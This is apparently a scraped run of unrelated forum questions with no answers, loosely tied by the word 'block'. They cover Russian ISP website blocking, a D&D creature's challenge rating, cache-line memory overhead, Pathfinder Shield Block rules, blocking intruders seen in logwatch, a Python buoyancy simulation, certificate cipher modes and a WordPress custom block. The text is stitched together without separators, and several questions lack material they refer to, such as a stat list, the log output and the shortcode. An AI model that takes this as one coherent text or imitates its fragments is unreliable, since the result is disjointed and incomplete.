So RusNet is blocking some websites, like LinkedIn. My question is: How is this achieved, when there are so many ISP? I know that ISP have a database of DNS records and they redirect the user to the corresponding IP-address of a URL. Does that mean, that every ISP in Russia has the same DNS and the records are always up-to-date?
In the adventure Divine Contention, there’s a creature called Ebondeath, and the adventure provides a stat block for this creature, available on D&DBeyond.
This creature’s stat block appears to be a modified version of the Ghost’s stat block. The Ghost is a CR 4 creature. Ebondeath has also been given a CR of 4, but it has:
This looks like a mistake to me, and given that some traits have been updated where others have not been, it also looks like a lazy effort without paying much attention to the details.
Ebondeath is clearly stronger than a Ghost, and therefore surely must be of a higher CR that 4. What CR should1 this stat block have been given? As a bonus question, what else should be updated to make things more consistent with the CR it should have been given (meaning the Withering Touch attack, and should the save DC of Horrifying Visage be 20 as well)?
1. Note that by “should”, I mean if it were to be derived from its stat block, not just an opinion (the word “should” often has that association, so I just wanted to make that clear).
I came across some lecture notes of a professor about memory consistency and models. There is an example about memory overhead:
The cache line has 7 states (3 bits): unowned, shared, exclusive, modified, read, update and “uncached read”.
- For 64 processor with the cache line described above, the memory overhead is 12.5%
- For 256 processor with the cache line described above, the memory overhead is 50%
- For 1024 processor with the cache line described above, the memory overhead is 200%.
This is the only information that I received from the notes. I wanted to ask him by contacting him but I got no answer. How are these overheads calculated?
I am a champion with a shield ally and a tower shield. Shield ally adds +2 to my shield’s hardness and 50% HP and BT. So a normal tower shield in my hands has a hardness of 7 and 30 HP.
I want to be able to do two things: use shield block to reduce damage for myself and allies, and use raise shield/take cover to provide AC and cover bonuses.
How can I keep shield block effective past my initial levels? There are some magic shields that increase HP and hardness, but I haven’t seen one that is a tower shield. Are there any shields, class features, feats, or strategies that I can use to keep shield block with a tower shield effective?
I get this in logwatch

Some activities are never coming from a good place.
How do I immediately block them once they do a single one of those activities?
How do you calculate the damage a PC takes when using shield block? The Shield Block feat allows you to reduce the damage from an incoming attack when you have your shield raised. The feat says (CRB, pg.266):
… Your shield prevents you from taking an amount of damage up to the shield’s Hardness. You and the shield each take any remaining damage …
Our table recently realized we had been running with two different interpretations of the emphasized text.
To illustrate, suppose 11 damage are being dealt to a character with a buckler raised (hardness of 3). The 11 damage are reduced by the shield’s hardness, resulting in 8 damage remaining.
One interpretation at our table is that the PC and the shield each take 8 damage. This seems like a straightforward reading of the feat, but resulted in a counter-intuitive outcome: significantly more damage is done when you use shield block than if you don’t.
The other is that the PC and shield split the 8 damage, with each taking 4. The consensus here is that damage dealt is a resource of some kind – there is only 8 damage to be applied, no matter how it is allocated.
I want to create a simulation using python and tkinter and simpy. According to Archimedes principle when the user varies the density of the block the block should move up and down. Please tell me how I can go about it !
The ability Shield Block allows you to spend your Reaction reducing incoming damage by a shield’s Hardness at the cost of damaging the shield as well as you. Does this damage also get reduced by the shield’s Hardness?
For example, with an attack that would do 11 damage incoming, a character performs Shield block with their 3 Hardness shield. Does the remaining 8 damage get further reduced to 3 by the shield’s Hardness?
How can I find out the mode block cipher used in a PEM certificate I have? It’s been generated with an intermediate CA that does sha256WithRSAEncryption but I need to find out if it’s a GCM or CBC to properly configure some devices.
I use this shortcode very often:
I’d like to drag and drop a custom block in the block editor, instead of typing the shortcode (and making typos).
So how do I create a custom block, that just wraps that shortcode?
